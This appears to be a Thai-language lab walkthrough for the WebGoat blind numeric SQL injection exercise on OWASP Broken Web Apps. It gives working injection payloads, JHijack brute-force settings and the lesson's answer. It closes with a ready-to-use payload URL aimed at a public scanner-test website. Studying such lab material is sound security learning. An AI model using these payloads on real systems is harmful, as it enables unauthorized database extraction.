OwaspBWA - Blind Numeric SQL Injection

Injection Flaws - Blind Numeric SQL Injection


ด่านทดสอบนี้มีแบบฟอร์มสำหรับกรอก Account number
และตรวจสอบกับฐานข้อมูลว่าถูกต้องหรือไม่

เป้าหมายคือ : ค้นหาค่า ของ pin  ในตาราง pins
สำหรับแถวที่มี cc_number =  1111222233334444.  เท่านั้น (ข้อมูลเป็นชนิด int)

--------------- How to -------------

Target sql statement 
SELECT pin FROM pins WHERE cc_number='1111222233334444'

  • 1.injection testing is true : 101 AND 1=1  
((SELECT pin FROM pins WHERE cc_number ='1111222233334444')=1)

True return = 1
False return = 0

  • 2.Query statement to find pin value
input : 101 AND 1=((SELECT pin FROM pins WHERE cc_number ='1111222233334444')=$)


  • 3.Open > JHijack
Host           : {ip or localhost}
Url              : /WebGoat/attack?Screen=4&menu=1100&SUBMIT=Go!
Grep           : Account number is valid.
SESSSID    : JSESSIONID=8A34C400C6DE4F7B062E0C03B1EDB4EA
HijackType : BODY
HijackID     : &account_number=101 AND 1=((SELECT pin FROM pins WHERE cc_number ='1111222233334444')=$)
HijackData : Numeric
Range         : 2000 -3000


Result
101 AND 1=((SELECT pin FROM pins WHERE cc_number ='1111222233334444')=2364)


  • 4. Go to OwaspBWA
>Enter your Account Number:  2364
*Congratulations. You have successfully completed this lesson.




*note

Blind Numeric SQL Injection
101 AND 1=((SELECT ASCII(substr(pin,0,1)) 
FROM pins 
WHERE cc_number = '1111222233334444')=$)--+


Blind String SQL Injection
101 AND 1=(SELECT ASCII(substr(name,3,1)) 
FROM pins 
WHERE cc_number=4321432143214321)=$)--+


ในเคส Numeric อาจจะใช้อีกวิธีคือไล่จาก 1 -1000 หรือตาม range ที่กำหนด
ก็ไม่ต้องทำ Substr และเทียบ Ascii ให้ปวดหัว ....วนลูปกันยาวๆไป

101 AND 1=((SELECT pin
FROM pins WHERE cc_number ='1111222233334444')=$)--+


Example
สำหรับคนที่กำลังศึกษาแต่ยังไม่ได้ติดตั้ง OwaspBWA
ขอให้สนุกกับการ "ลองผิดลองถูก" เพื่อความเข้าใจ

http://webscantest.com/datastore/search_get_by_id.php?id=3+and+1=(select+ascii(substr(database(),1,1))=115)--+